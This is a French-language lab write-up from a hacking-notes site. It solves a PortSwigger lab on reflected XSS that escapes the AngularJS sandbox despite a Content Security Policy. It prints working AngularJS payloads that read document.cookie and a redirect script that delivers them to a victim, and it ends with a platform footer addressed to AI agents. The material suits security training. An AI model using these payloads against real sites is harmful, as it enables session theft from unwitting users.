> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/angularjs-sandbox-escape-with-csp.md).

# Échappement du sandbox AngularJS avec CSP

### XSS réfléchi avec évasion du bac à sable AngularJS et CSP

Réaliser une attaque de cross-site scripting réfléchi qui contourne la Content Security Policy, s'échappe du bac à sable AngularJS et s'exécute `alert(document.cookie)`.

**Commentaires**/ Le site utilise une politique CSP qui empêche l'exécution de scripts provenant d'un domaine externe :

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/7534191d0722354325b3142a0a2cb4ad613445d1" alt=""><figcaption></figcaption></figure>

En consultant la feuille de triche PortSwigger, nous identifions un vecteur AngularJS fonctionnel qui force l'évaluation via un `orderBy` filtre appliqué à l' `$event.composedPath()` événement.

<figure><img src="/files/e5a06e2a083e756fa72172897cae670fe44de92b" alt=""><figcaption></figcaption></figure>

* Pour déclencher une alerte :

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/4b95df12944392f1ddea8f8eaff348b3f159d7b1" alt=""><figcaption></figcaption></figure>

* Pour afficher la valeur de `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

Exemple d'URL construite pour livrer la charge utile et forcer l'exécution côté victime :

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/84ad577d618c9ab55c7b6b987327cb6ada9baa95" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/angularjs-sandbox-escape-with-csp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
